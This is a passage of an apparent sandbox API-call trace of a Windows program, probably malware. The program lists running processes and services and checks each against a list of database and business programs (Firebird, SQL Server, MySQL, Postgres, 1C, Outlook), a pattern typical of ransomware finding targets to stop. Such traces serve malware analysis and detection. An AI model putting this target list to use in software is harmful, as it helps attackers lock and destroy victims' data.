pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0175.404] lstrlenW (lpString="dinotify.exe") returned 12 [0175.404] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0175.405] lstrlenW (lpString="dllhost.exe") returned 11 [0175.405] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0175.405] lstrlenW (lpString="3G6885.exe") returned 10 [0175.405] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.405] lstrlenW (lpString="cmd.exe") returned 7 [0175.405] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.406] lstrlenW (lpString="cmd.exe") returned 7 [0175.406] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.406] lstrlenW (lpString="conhost.exe") returned 11 [0175.406] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.407] lstrlenW (lpString="conhost.exe") returned 11 [0175.407] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0175.407] CloseHandle (hObject=0x1e4) returned 1 [0175.407] Sleep (dwMilliseconds=0x1f4) [0175.961] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x537c38 [0175.962] EnumServicesStatusExW (in: hSCManager=0x537c38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0175.962] GetLastError () returned 0xea [0175.962] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x4144bd8 [0175.962] EnumServicesStatusExW (in: hSCManager=0x537c38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4144bd8, cbBufSize=0x11e4, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4144bd8, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0175.963] CloseServiceHandle (hSCObject=0x537c38) returned 1 [0175.963] lstrlenW (lpString="Appinfo") returned 7 [0175.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0175.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0175.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0175.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0175.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0175.963] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0175.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.963] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0175.963] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0175.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0175.963] lstrlenW (lpString="AudioSrv") returned 8 [0175.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0175.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0175.963] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0175.963] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0175.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0175.963] lstrlenW (lpString="BFE") returned 3 [0175.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0175.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0175.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0175.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0175.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0175.964] lstrlenW (lpString="CryptSvc") returned 8 [0175.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0175.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0175.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0175.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0175.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0175.964] lstrlenW (lpString="CscService") returned 10 [0175.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0175.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0175.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0175.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0175.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0175.964] lstrlenW (lpString="DcomLaunch") returned 10 [0175.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.964] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0175.964] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0175.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0175.964] lstrlenW (lpString="Dhcp") returned 4 [0175.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0175.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0175.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0175.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0175.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0175.964] lstrlenW (lpString="Dnscache") returned 8 [0175.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0175.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0175.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0175.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0175.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0175.965] lstrlenW (lpString="DPS") returned 3 [0175.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0175.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0175.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0175.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0175.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0175.965] lstrlenW (lpString="eventlog") returned 8 [0175.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0175.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0175.965] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0175.965] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0175.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0175.965] lstrlenW (lpString="EventSystem") returned 11 [0175.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0175.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0175.965] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0175.965] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0175.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0175.965] lstrlenW (lpString="gpsvc") returned 5 [0175.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0175.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0175.965] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0175.965] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0175.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0175.965] lstrlenW (lpString="iphlpsvc") returned 8 [0175.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.965] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0175.966] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0175.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0175.966] lstrlenW (lpString="LanmanServer") returned 12 [0175.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0175.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0175.966] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0175.966] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0175.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0175.966] lstrlenW (lpString="LanmanWorkstation") returned 17 [0175.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.966] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0175.966] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0175.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0175.966] lstrlenW (lpString="lmhosts") returned 7 [0175.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0175.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0175.966] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0175.966] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0175.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0175.966] lstrlenW (lpString="MMCSS") returned 5 [0175.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0175.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0175.966] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0175.966] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0175.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0175.967] lstrlenW (lpString="MpsSvc") returned 6 [0175.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0175.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0175.967] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0175.967] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0175.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0175.967] lstrlenW (lpString="Netman") returned 6 [0175.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0175.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0175.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0175.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0175.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0175.967] lstrlenW (lpString="netprofm") returned 8 [0175.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0175.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0175.967] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0175.967] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0175.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0175.967] lstrlenW (lpString="NlaSvc") returned 6 [0175.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0175.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0175.967] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0175.967] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0175.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0175.967] lstrlenW (lpString="nsi") returned 3 [0175.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0175.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0175.968] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0175.968] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0175.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0175.968] lstrlenW (lpString="PcaSvc") returned 6 [0175.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0175.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0175.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0175.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0175.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0175.968] lstrlenW (lpString="PlugPlay") returned 8 [0175.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0175.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0175.968] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0175.968] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0175.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0175.968] lstrlenW (lpString="Power") returned 5 [0175.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0175.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0175.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0175.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0175.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0175.968] lstrlenW (lpString="ProfSvc") returned 7 [0175.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0175.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0175.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0175.968] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0175.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0175.968] lstrlenW (lpString="RpcEptMapper") returned 12 [0175.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.969] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0175.969] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0175.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0175.969] lstrlenW (lpString="RpcSs") returned 5 [0175.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0175.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0175.969] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0175.969] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0175.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0175.969] lstrlenW (lpString="SamSs") returned 5 [0175.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0175.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0175.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0175.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0175.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0175.969] lstrlenW (lpString="Schedule") returned 8 [0175.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0175.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0175.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0175.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0175.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0175.969] lstrlenW (lpString="SENS") returned 4 [0175.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0175.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0175.969] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0175.969] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0175.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0175.969] lstrlenW (lpString="ShellHWDetection") returned 16 [0175.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.969] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0175.969] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0175.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0175.970] lstrlenW (lpString="Spooler") returned 7 [0175.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0175.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0175.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0175.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0175.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0175.970] lstrlenW (lpString="SysMain") returned 7 [0175.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0175.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0175.970] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0175.970] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0175.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0175.970] lstrlenW (lpString="Themes") returned 6 [0175.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0175.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0175.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0175.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0175.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0175.970] lstrlenW (lpString="TrkWks") returned 6 [0175.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0175.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0175.970] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0175.970] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0175.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0175.970] lstrlenW (lpString="UxSms") returned 5 [0175.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0175.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0175.970] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0175.970] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0175.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0175.970] lstrlenW (lpString="WdiServiceHost") returned 14 [0175.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0175.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0175.971] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0175.971] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0175.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0175.971] lstrlenW (lpString="WdiSystemHost") returned 13 [0175.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0175.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0175.971] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0175.971] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0175.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0175.971] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0175.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0175.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0175.971] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0175.971] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0175.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0175.971] lstrlenW (lpString="Winmgmt") returned 7 [0175.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0175.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0175.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0175.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0175.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0175.972] lstrlenW (lpString="WPDBusEnum") returned 10 [0175.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0175.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0175.972] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0175.972] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0175.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0175.972] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4144bd8 | out: hHeap=0x4b0000) returned 1 [0175.972] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0175.973] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.974] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.974] lstrlenW (lpString="System") returned 6 [0175.974] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0175.974] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0175.974] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0175.974] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0175.974] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0175.974] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0175.974] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0175.974] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.975] lstrlenW (lpString="smss.exe") returned 8 [0175.975] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0175.975] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, 